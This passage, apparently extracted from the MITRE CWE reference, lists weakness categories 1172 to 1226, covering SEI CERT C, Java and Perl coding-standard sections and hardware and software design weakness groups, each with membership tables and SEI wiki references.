[REF-994]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 50. POSIX (POS)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151931> >.

## Category-1172: SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN)

Category ID : 1172

### Summary

Weaknesses in this category are related to the rules and recommendations in the Microsoft Windows (WIN) section of the SEI CERT C Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember	V	590	Free of Memory not on the Heap	1154	1248
HasMember	V	762	Mismatched Memory Management Routines	1154	1485

### References

[REF-617]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 51. Microsoft Windows (WIN)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151925> >.

[REF-995]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 51. Microsoft Windows (WIN)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151933> >.

## Category-1175: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 18. Concurrency (CON)

Category ID : 1175

### Summary

Weaknesses in this category are related to the rules and recommendations in the Concurrency (CON) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341

## References

[REF-1007]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 18. Concurrency (CON)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487352> >.

## Category-1179: SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)

Category ID : 1179

### Summary

Weaknesses in this category are related to the rules and recommendations in the Input Validation and Data Sanitization (IDS) section of the SEI CERT Perl Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2345
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	1178	33
HasMember	G	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	1178	141
HasMember	V	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	1178	220
HasMember	G	116	Improper Encoding or Escaping of Output	1178	272
HasMember	V	129	Improper Validation of Array Index	1178	327
HasMember	B	134	Use of Externally-Controlled Format String	1178	349
HasMember	V	789	Memory Allocation with Excessive Size Value	1178	1558

### References

[REF-1012]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 01. Input Validation and Data Sanitization (IDS)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890533> >.

[REF-1020]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rec. 01. Input Validation and Data Sanitization (IDS)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890568> >.

## Category-1180: SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)

Category ID : 1180

### Summary

Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) section of the SEI CERT Perl Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2345



Nature	Type	ID	Name	V	Page
HasMember	V	456	Missing Initialization of a Variable	1178	1029
HasMember	V	457	Use of Uninitialized Variable	1178	1034
HasMember	B	477	Use of Obsolete Function	1178	1076
HasMember	B	628	Function Call with Incorrectly Specified Arguments	1178	1316

## References

[REF-1013]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 02. Declarations and Initialization (DCL)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890509> >.

[REF-1021]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rec. 02. Declarations and Initialization (DCL)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890569> >.

## Category-1181: SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)

Category ID : 1181

### Summary

Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) section of the SEI CERT Perl Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2345
HasMember	B	248	Uncaught Exception	1178	566
HasMember	B	252	Unchecked Return Value	1178	575
HasMember	B	375	Returning a Mutable Object to an Untrusted Caller	1178	874
HasMember	B	391	Unchecked Error Condition	1178	898
HasMember	B	394	Unexpected Status Code or Return Value	1178	904
HasMember	B	460	Improper Cleanup on Thrown Exception	1178	1041
HasMember	B	477	Use of Obsolete Function	1178	1076
HasMember	V	597	Use of Wrong Operator in String Comparison	1178	1258
HasMember	B	628	Function Call with Incorrectly Specified Arguments	1178	1316
HasMember	↔	690	Unchecked Return Value to NULL Pointer Dereference	1178	1418
HasMember	C	705	Incorrect Control Flow Scoping	1178	1437
HasMember	C	754	Improper Check for Unusual or Exceptional Conditions	1178	1460
HasMember	B	783	Operator Precedence Logic Error	1178	1536

## References

[REF-1014]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 03. Expressions (EXP)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890504> >.

[REF-1022]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rec. 03. Expressions (EXP)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890559> >.

**Category-1182: SEI CERT Perl Coding Standard - Guidelines 04. Integers (INT)**

Category ID : 1182

**Summary**

Weaknesses in this category are related to the rules and recommendations in the Integers (INT) section of the SEI CERT Perl Coding Standard.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2345
HasMember	C	189	Numeric Errors	1178	2103

**References**

[REF-1015]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 04. Integers (INT)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890508> >.

[REF-1023]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rec. 04. Integers (INT)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890560> >.

**Category-1183: SEI CERT Perl Coding Standard - Guidelines 05. Strings (STR)**

Category ID : 1183

**Summary**

Weaknesses in this category are related to the rules and recommendations in the Strings (STR) section of the SEI CERT Perl Coding Standard.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2345

**References**

[REF-1016]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 05. Strings (STR)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890507> >.

[REF-1024]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rec. 05. Strings (STR)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890563> >.

**Category-1184: SEI CERT Perl Coding Standard - Guidelines 06. Object-Oriented Programming (OOP)**

Category ID : 1184

**Summary**

Weaknesses in this category are related to the rules and recommendations in the Object-Oriented Programming (OOP) section of the SEI CERT Perl Coding Standard.

**Membership**

Nature	Type	ID	Name		Page
MemberOf		1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2345
HasMember		767	Access to Critical Private Variable via Public Method	1178	1498

### References

[REF-1017]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 06. Object-Oriented Programming (OOP)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelid=88890501> >.

[REF-1025]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rec. 06. Object-Oriented Programming (OOP)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelid=88890561> >.

## Category-1185: SEI CERT Perl Coding Standard - Guidelines 07. File Input and Output (FIO)

Category ID : 1185

### Summary

Weaknesses in this category are related to the rules and recommendations in the File Input and Output (FIO) section of the SEI CERT Perl Coding Standard.

### Membership

Nature	Type	ID	Name		Page
MemberOf		1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2345
HasMember		59	Improper Link Resolution Before File Access ('Link Following')	1178	108

### References

[REF-1018]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 07. File Input and Output (FIO)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelid=88890499> >.

[REF-1026]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rec. 07. File Input and Output (FIO)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelid=88890496> >.

## Category-1186: SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC)

Category ID : 1186

### Summary

Weaknesses in this category are related to the rules and recommendations in the Miscellaneous (MSC) section of the SEI CERT Perl Coding Standard.

### Membership

Nature	Type	ID	Name		Page
MemberOf		1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2345

Nature	Type	ID	Name	V	Page
HasMember	B	561	Dead Code	1178	1201
HasMember	V	563	Assignment to Variable without Use	1178	1206

### References

[REF-1019]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 50. Miscellaneous (MSC)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890497> >.

[REF-1027]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 50. Miscellaneous (MSC)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890502> >.

## Category-1195: Manufacturing and Life Cycle Management Concerns

Category ID : 1195

### Summary

Weaknesses in this category are root-caused to defects that arise in the semiconductor-manufacturing process or during the life cycle and supply chain.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2346
HasMember	G	1059	Insufficient Technical Documentation	1194	1759
HasMember	B	1248	Semiconductor Defects in Hardware Logic with Security-Sensitive Implications	1194	1889
HasMember	B	1266	Improper Scrubbing of Sensitive Data from Decommissioned Device	1194	1930
HasMember	B	1269	Product Released in Non-Release Configuration	1194	1936
HasMember	B	1273	Device Unlock Credential Sharing	1194	1944
HasMember	B	1297	Unprotected Confidential Information on Device is Accessible by OSAT Vendors	1194	1989

## Category-1196: Security Flow Issues

Category ID : 1196

### Summary

Weaknesses in this category are related to improper design of full-system security flows, including but not limited to secure boot, secure update, and hardware-device attestation.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2346
HasMember	B	1190	DMA Device Enabled Too Early in Boot Phase	1194	1831
HasMember	B	1193	Power-On of Untrusted Execution Core Before Enabling Fabric Access Control	1194	1837
HasMember	B	1264	Hardware Logic with Insecure De-Synchronization between Control and Data Channels	1194	1924

Nature	Type	ID	Name	V	Page
HasMember	B	1274	Improper Access Control for Volatile Memory Containing Boot Code		1194 1946
HasMember	B	1283	Mutable Attestation or Measurement Reporting Data		1194 1963
HasMember	B	1310	Missing Ability to Patch ROM Code		1194 2008
HasMember	B	1326	Missing Immutable Root of Trust in Hardware		1194 2037
HasMember	B	1328	Security Version Number Mutable to Older Versions		1194 2041

## Category-1197: Integration Issues

Category ID : 1197

### Summary

Weaknesses in this category are those that arise due to integration of multiple hardware Intellectual Property (IP) cores, from System-on-a-Chip (SoC) subsystem interactions, or from hardware platform subsystem interactions.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design		1194 2346
HasMember	B	1276	Hardware Child Block Incorrectly Connected to Parent System		1194 1950

## Category-1198: Privilege Separation and Access Control Issues

Category ID : 1198

### Summary

Weaknesses in this category are related to features and mechanisms providing hardware-based isolation and access control (e.g., identity, policy, locking control) of sensitive shared hardware resources such as registers and fuses.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design		1194 2346
MemberOf	C	1372	ICS Supply Chain: OT Counterfeit and Malicious Corruption		1358 2300
HasMember	B	276	Incorrect Default Permissions		1194 630
HasMember	G	441	Unintended Proxy or Intermediary ('Confused Deputy')		1194 1005
HasMember	B	1189	Improper Isolation of Shared Resources on System-on-a-Chip (SoC)		1194 1829
HasMember	B	1192	System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers		1194 1835
HasMember	B	1220	Insufficient Granularity of Access Control		1194 1843
HasMember	V	1222	Insufficient Granularity of Address Regions Protected by Register Locks		1194 1848
HasMember	B	1242	Inclusion of Undocumented Features or Chicken Bits		1194 1876
HasMember	B	1260	Improper Handling of Overlap Between Protected Memory Ranges		1194 1915
HasMember	B	1262	Improper Access Control for Register Interface		1194 1920

Nature	Type	ID	Name	V	Page
HasMember	B	1267	Policy Uses Obsolete Encoding	1194	1931
HasMember	B	1268	Policy Privileges are not Assigned Consistently Between Control and Data Agents	1194	1933
HasMember	B	1280	Access Control Check Implemented After Asset is Accessed	1194	1958
HasMember	G	1294	Insecure Security Identifier Mechanism	1194	1983
HasMember	B	1299	Missing Protection Mechanism for Alternate Hardware Interface	1194	1993
HasMember	B	1302	Missing Security Identifier	1194	2001
HasMember	B	1303	Non-Transparent Sharing of Microarchitectural Resources	1194	2003
HasMember	B	1314	Missing Write Protection for Parametric Data Values	1194	2015
HasMember	B	1318	Missing Support for Security Features in On-chip Fabrics or Buses	1194	2023
HasMember	B	1334	Unauthorized Error Injection Can Degrade Hardware Redundancy	1194	2056

## Category-1199: General Circuit and Logic Design Concerns

Category ID : 1199

### Summary

Weaknesses in this category are related to hardware-circuit design and logic (e.g., CMOS transistors, finite state machines, and registers) as well as issues related to hardware description languages such as System Verilog and VHDL.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2346
HasMember	B	1209	Failure to Disable Reserved Bits	1194	1841
HasMember	B	1221	Incorrect Register Defaults or Module Parameters	1194	1845
HasMember	B	1223	Race Condition for Write-Once Attributes	1194	1849
HasMember	B	1224	Improper Restriction of Write-Once Bit Fields	1194	1851
HasMember	B	1231	Improper Prevention of Lock Bit Modification	1194	1855
HasMember	B	1232	Improper Lock Behavior After Power State Transition	1194	1857
HasMember	B	1233	Security-Sensitive Hardware Controls with Missing Lock Bit Protection	1194	1859
HasMember	B	1234	Hardware Internal or Debug Modes Allow Override of Locks	1194	1861
HasMember	B	1245	Improper Finite State Machines (FSMs) in Hardware Logic	1194	1882
HasMember	B	1250	Improper Preservation of Consistency Between Independent Representations of Shared State	1194	1893
HasMember	B	1253	Incorrect Selection of Fuse Values	1194	1898
HasMember	B	1254	Incorrect Comparison Logic Granularity	1194	1900
HasMember	B	1261	Improper Handling of Single Event Upsets	1194	1918
HasMember	B	1298	Hardware Logic Contains Race Conditions	1194	1991

## Category-1201: Core and Compute Issues

Category ID : 1201

### Summary

Weaknesses in this category are typically associated with CPUs, Graphics, Vision, AI, FPGA, and microcontrollers.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2346
HasMember	B	1252	CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations	1194	1897
HasMember	B	1281	Sequence of Processor Instructions Leads to Unexpected Behavior	1194	1960
HasMember	B	1342	Information Exposure through Microarchitectural State after Transient Execution	1194	2071

## Category-1202: Memory and Storage Issues

Category ID : 1202

### Summary

Weaknesses in this category are typically associated with memory (e.g., DRAM, SRAM) and storage technologies (e.g., NAND Flash, OTP, EEPROM, and eMMC).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2346
HasMember	B	226	Sensitive Information in Resource Not Removed Before Reuse	1194	536
HasMember	B	1246	Improper Write Handling in Limited-write Non-Volatile Memories	1194	1884
HasMember	B	1251	Mirrored Regions with Different Values	1194	1894
HasMember	B	1257	Improper Access Control Applied to Mirrored or Aliased Memory Regions	1194	1909
HasMember	B	1282	Assumed-Immutable Data is Stored in Writable Memory	1194	1962

## Category-1203: Peripherals, On-chip Fabric, and Interface/IO Problems

Category ID : 1203

### Summary

Weaknesses in this category are related to hardware security problems that apply to peripheral devices, IO interfaces, on-chip interconnects, network-on-chip (NoC), and buses. For example, this category includes issues related to design of hardware interconnect and/or protocols such as PCIe, USB, SMBUS, general-purpose IO pins, and user-input peripherals such as mouse and keyboard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2346



Nature	Type	ID	Name	V	Page
HasMember	B	1311	Improper Translation of Security Attributes by Fabric Bridge		1194 2009
HasMember	B	1312	Missing Protection for Mirrored Regions in On-Chip Fabric Firewall		1194 2011
HasMember	B	1315	Improper Setting of Bus Controlling Capability in Fabric End-point		1194 2017
HasMember	B	1316	Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges		1194 2019
HasMember	B	1317	Improper Access Control in Fabric Bridge		1194 2021
HasMember	B	1331	Improper Isolation of Shared Resources in Network On Chip (NoC)		1194 2048

## Category-1205: Security Primitives and Cryptography Issues

Category ID : 1205

### Summary

Weaknesses in this category are related to hardware implementations of cryptographic protocols and other hardware-security primitives such as physical unclonable functions (PUFs) and random number generators (RNGs).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design		1194 2346
HasMember	B	203	Observable Discrepancy		1194 497
HasMember	B	325	Missing Cryptographic Step		1194 754
HasMember	B	1240	Use of a Cryptographic Primitive with a Risky Implementation		1194 1869
HasMember	B	1241	Use of Predictable Algorithm in Random Number Generator		1194 1875
HasMember	B	1279	Cryptographic Operations are run Before Supporting Units are Ready		1194 1956
HasMember	B	1351	Improper Handling of Hardware Behavior in Exceptionally Cold Environments		1194 2074

## Category-1206: Power, Clock, Thermal, and Reset Concerns

Category ID : 1206

### Summary

Weaknesses in this category are related to system power, voltage, current, temperature, clocks, system state saving/restoring, and resets at the platform and SoC level.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design		1194 2346
HasMember	B	1232	Improper Lock Behavior After Power State Transition		1194 1857
HasMember	B	1247	Improper Protection Against Voltage and Clock Glitches		1194 1886

Nature	Type	ID	Name	V	Page
HasMember	B	1248	Semiconductor Defects in Hardware Logic with Security-Sensitive Implications	1194	1889
HasMember	V	1255	Comparison Logic is Vulnerable to Power Side-Channel Attacks	1194	1902
HasMember	B	1256	Improper Restriction of Software Interfaces to Hardware Features	1194	1906
HasMember	B	1271	Uninitialized Value on Reset for Registers Holding Security Settings	1194	1940
HasMember	B	1304	Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation	1194	2005
HasMember	B	1314	Missing Write Protection for Parametric Data Values	1194	2015
HasMember	B	1320	Improper Protection for Outbound Error Messages and Alert Signals	1194	2028
HasMember	B	1332	Improper Handling of Faults that Lead to Instruction Skips	1194	2050
HasMember	B	1338	Improper Protections Against Hardware Overheating	1194	2062

## Category-1207: Debug and Test Problems

Category ID : 1207

### Summary

Weaknesses in this category are related to hardware debug and test interfaces such as JTAG and scan chain.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2346
HasMember	B	319	Cleartext Transmission of Sensitive Information	1194	740
HasMember	B	1191	On-Chip Debug and Test Interface With Improper Access Control	1194	1833
HasMember	B	1234	Hardware Internal or Debug Modes Allow Override of Locks	1194	1861
HasMember	B	1243	Sensitive Non-Volatile Information Not Protected During Debug	1194	1878
HasMember	B	1244	Internal Asset Exposed to Unsafe Debug Access Level or State	1194	1879
HasMember	B	1258	Exposure of Sensitive System Information Due to Uncleared Debug Information	1194	1912
HasMember	B	1272	Sensitive Information Uncleared Before Debug/Power State Transition	1194	1942
HasMember	B	1291	Public Key Re-Use for Signing both Debug and Production Code	1194	1978
HasMember	B	1295	Debug Messages Revealing Unnecessary Information	1194	1985
HasMember	B	1296	Incorrect Chaining or Granularity of Debug Components	1194	1986
HasMember	B	1313	Hardware Allows Activation of Test or Debug Logic at Runtime	1194	2013
HasMember	B	1323	Improper Management of Sensitive Trace Data	1194	2034

## Category-1208: Cross-Cutting Problems

Category ID : 1208

### Summary

Weaknesses in this category can arise in multiple areas of hardware design or can apply to a wide cross-section of components.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2346
HasMember	B	440	Expected Behavior Violation	1194	1004
HasMember	B	1053	Missing Documentation for Design	1194	1753
HasMember	C	1059	Insufficient Technical Documentation	1194	1759
HasMember	C	1263	Improper Physical Access Control	1194	1923
HasMember	B	1277	Firmware Not Updateable	1194	1952
HasMember	B	1301	Insufficient or Incomplete Data Removal within Hardware Component	1194	2000
HasMember	B	1329	Reliance on Component That is Not Updateable	1194	2043
HasMember	C	1357	Reliance on Insufficiently Trustworthy Component	1194	2076

## Category-1210: Audit / Logging Errors

Category ID : 1210

### Summary

Weaknesses in this category are related to audit-based components of a software system. Frequently these deal with logging user activities in order to identify undesired access and modifications to the system. The weaknesses in this category could lead to a degradation of the quality of the audit capability if they are not addressed.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	117	Improper Output Neutralization for Logs	699	279
HasMember	B	222	Truncation of Security-relevant Information	699	532
HasMember	B	223	Omission of Security-relevant Information	699	533
HasMember	B	224	Obscured Security-relevant Information by Alternate Name	699	535
HasMember	B	532	Insertion of Sensitive Information into Log File	699	1171
HasMember	B	778	Insufficient Logging	699	1525
HasMember	B	779	Logging of Excessive Data	699	1529

## Category-1211: Authentication Errors

Category ID : 1211

### Summary

Weaknesses in this category are related to authentication components of a system. Frequently these deal with the ability to verify that an entity is indeed who it claims to be. If not addressed

when designing or implementing a software system, these weaknesses could lead to a degradation of the quality of the authentication capability.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	288	Authentication Bypass Using an Alternate Path or Channel	699	664
HasMember	B	290	Authentication Bypass by Spoofing	699	668
HasMember	B	294	Authentication Bypass by Capture-replay	699	675
HasMember	B	295	Improper Certificate Validation	699	677
HasMember	B	296	Improper Following of a Certificate's Chain of Trust	699	682
HasMember	B	299	Improper Check for Certificate Revocation	699	690
HasMember	B	303	Incorrect Implementation of Authentication Algorithm	699	699
HasMember	B	304	Missing Critical Step in Authentication	699	700
HasMember	B	305	Authentication Bypass by Primary Weakness	699	702
HasMember	B	306	Missing Authentication for Critical Function	699	703
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	699	709
HasMember	B	308	Use of Single-factor Authentication	699	713
HasMember	B	309	Use of Password System for Primary Authentication	699	716
HasMember	B	322	Key Exchange without Entity Authentication	699	749
HasMember	B	603	Use of Client-Side Authentication	699	1275
HasMember	B	645	Overly Restrictive Account Lockout Mechanism	699	1340
HasMember	B	804	Guessable CAPTCHA	699	1584
HasMember	B	836	Use of Password Hash Instead of Password for Authentication	699	1639

## Category-1212: Authorization Errors

Category ID : 1212

### Summary

Weaknesses in this category are related to authorization components of a system. Frequently these deal with the ability to enforce that agents have the required permissions before performing certain operations, such as modifying data. If not addressed when designing or implementing a software system, these weaknesses could lead to a degradation of the quality of the authorization capability.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	425	Direct Request ('Forced Browsing')	699	969
HasMember	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	699	1192
HasMember	B	612	Improper Authorization of Index Containing Sensitive Information	699	1290
HasMember	B	639	Authorization Bypass Through User-Controlled Key	699	1324
HasMember	B	842	Placement of User into Incorrect Group	699	1653
HasMember	B	939	Improper Authorization in Handler for Custom URL Scheme	699	1709

Nature	Type	ID	Name	V	Page
HasMember	B	1220	Insufficient Granularity of Access Control	699	1843

## Category-1213: Random Number Issues

Category ID : 1213

### Summary

Weaknesses in this category are related to a software system's random number generation.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	331	Insufficient Entropy	699	778
HasMember	B	334	Small Space of Random Values	699	784
HasMember	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	699	786
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	699	793
HasMember	B	341	Predictable from Observable State	699	799
HasMember	B	342	Predictable Exact Value from Previous Values	699	801
HasMember	B	343	Predictable Value Range from Previous Values	699	802
HasMember	B	1241	Use of Predictable Algorithm in Random Number Generator	699	1875

## Category-1214: Data Integrity Issues

Category ID : 1214

### Summary

Weaknesses in this category are related to a software system's data integrity components. Frequently these deal with the ability to ensure the integrity of data, such as messages, resource files, deployment files, and configuration files. The weaknesses in this category could lead to a degradation of data integrity quality if they are not addressed.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	322	Key Exchange without Entity Authentication	699	749
HasMember	C	346	Origin Validation Error	699	808
HasMember	B	347	Improper Verification of Cryptographic Signature	699	811
HasMember	B	348	Use of Less Trusted Source	699	813
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	699	815
HasMember	B	351	Insufficient Type Distinction	699	820
HasMember	B	353	Missing Support for Integrity Check	699	828
HasMember	B	354	Improper Validation of Integrity Check Value	699	830
HasMember	B	494	Download of Code Without Integrity Check	699	1119
HasMember	B	565	Reliance on Cookies without Validation and Integrity Checking	699	1209

Nature	Type	ID	Name	V	Page
HasMember	B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking	699	1346
HasMember	B	829	Inclusion of Functionality from Untrusted Control Sphere	699	1621
HasMember	B	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel	699	1701

## Category-1215: Data Validation Issues

Category ID : 1215

### Summary

Weaknesses in this category are related to a software system's components for input validation, output validation, or other kinds of validation. Validation is a frequently-used technique for ensuring that data conforms to expectations before it is further processed as input or output. There are many varieties of validation (see CWE-20, which is just for input validation). Validation is distinct from other techniques that attempt to modify data before processing it, although developers may consider all attempts to product "safe" inputs or outputs as some kind of validation. Regardless, validation is a powerful tool that is often used to minimize malformed data from entering the system, or indirectly avoid code injection or other potentially-malicious patterns when generating output. The weaknesses in this category could lead to a degradation of the quality of data flow in a system if they are not addressed.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	112	Missing XML Validation	699	261
HasMember	V	129	Improper Validation of Array Index	699	327
HasMember	B	179	Incorrect Behavior Order: Early Validation	699	430
HasMember	B	183	Permissive List of Allowed Inputs	699	439
HasMember	B	184	Incomplete List of Disallowed Inputs	699	441
HasMember	B	606	Unchecked Input for Loop Condition	699	1278
HasMember	B	641	Improper Restriction of Names for Files and Other Resources	699	1329
HasMember	B	1173	Improper Use of Validation Framework	699	1824

### Notes

#### Relationship

CWE-20 (Improper Input Validation) is not included in this category because it is a Class level, and this category focuses more on Base level weaknesses. Also note that other kinds of weaknesses besides improper validation are included as members of this category.

## Category-1216: Lockout Mechanism Errors

Category ID : 1216

### Summary

Weaknesses in this category are related to a software system's lockout mechanism. Frequently these deal with scenarios that take effect in case of multiple failed attempts to access a given

resource. The weaknesses in this category could lead to a degradation of access to system assets if they are not addressed.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287
HasMember	B	645	Overly Restrictive Account Lockout Mechanism	699	1340

## Category-1217: User Session Errors

Category ID : 1217

### Summary

Weaknesses in this category are related to session management. Frequently these deal with the information or status about each user and their access rights for the duration of multiple requests. The weaknesses in this category could lead to a degradation of the quality of session management if they are not addressed.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	488	Exposure of Data Element to Wrong Session	699	1104
HasMember	B	613	Insufficient Session Expiration	699	1291
HasMember	B	841	Improper Enforcement of Behavioral Workflow	699	1649

## Category-1218: Memory Buffer Errors

Category ID : 1218

### Summary

Weaknesses in this category are related to the handling of memory buffers within a software system.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	699	294
HasMember	B	123	Write-what-where Condition	699	310
HasMember	B	124	Buffer Underwrite ('Buffer Underflow')	699	313
HasMember	B	125	Out-of-bounds Read	699	316
HasMember	B	131	Incorrect Calculation of Buffer Size	699	340
HasMember	B	786	Access of Memory Location Before Start of Buffer	699	1544
HasMember	B	787	Out-of-bounds Write	699	1547
HasMember	B	788	Access of Memory Location After End of Buffer	699	1555
HasMember	B	805	Buffer Access with Incorrect Length Value	699	1585



## Category-1219: File Handling Issues

Category ID : 1219

### Summary

Weaknesses in this category are related to the handling of files within a software system. Files, directories, and folders are so central to information technology that many different weaknesses and variants have been discovered.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	23	Relative Path Traversal	699	44
HasMember	B	36	Absolute Path Traversal	699	72
HasMember	B	41	Improper Resolution of Path Equivalence	699	83
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	699	108
HasMember	B	66	Improper Handling of File Names that Identify Virtual Resources	699	121
HasMember	B	378	Creation of Temporary File With Insecure Permissions	699	879
HasMember	B	379	Creation of Temporary File in Directory with Insecure Permissions	699	881
HasMember	B	426	Untrusted Search Path	699	972
HasMember	B	427	Uncontrolled Search Path Element	699	977
HasMember	B	428	Unquoted Search Path or Element	699	982

## Category-1225: Documentation Issues

Category ID : 1225

### Summary

Weaknesses in this category are related to the documentation provided to support, create, or analyze a product.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	1053	Missing Documentation for Design	699	1753
HasMember	B	1068	Inconsistency Between Implementation and Documented Design	699	1769
HasMember	B	1110	Incomplete Design Documentation	699	1808
HasMember	B	1111	Incomplete I/O Documentation	699	1809
HasMember	B	1112	Incomplete Documentation of Program Execution	699	1810
HasMember	B	1118	Insufficient Documentation of Error Handling Techniques	699	1815

## Category-1226: Complexity Issues

Category ID : 1226

